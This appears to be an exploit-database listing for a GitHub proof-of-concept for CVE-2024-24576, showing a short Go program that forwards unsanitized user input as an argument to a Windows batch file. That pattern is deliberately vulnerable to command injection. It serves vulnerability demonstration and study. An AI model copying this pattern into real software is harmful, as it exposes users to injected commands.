Exploit database

GH-22ba163edc895cf4b27a72e8efeba587

aydinnyunus/cve-2024-24576-exploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-24576

4 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
aydinnyunus/cve-2024-24576-exploitRevision 4b90d4d829bd

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

main.go

Suggested starting fileGo · 678 bytes
package main

import (
	"bufio"
	"fmt"
	"os"
	"os/exec"
	"strings"
)

func main() {
	// Full path to your batch file
	batchFile := `test.bat`

	// Get input from the user
	reader := bufio.NewReader(os.Stdin)
	fmt.Print("Enter parameter 1: ")
	param1, _ := reader.ReadString('\n')
	param1 = strings.TrimSpace(param1)

	// Parameters to pass to the batch file
	parameters := []string{param1}

	// Create command
	cmd := exec.Command(batchFile, parameters...)

	// Set stdout and stderr
	cmd.Stdout = os.Stdout
	cmd.Stderr = os.Stderr

	// Run command
	err := cmd.Run()
	if err != nil {
		fmt.Println("Error:", err)
		return
	}

	fmt.Println("Batch file executed successfully.")
}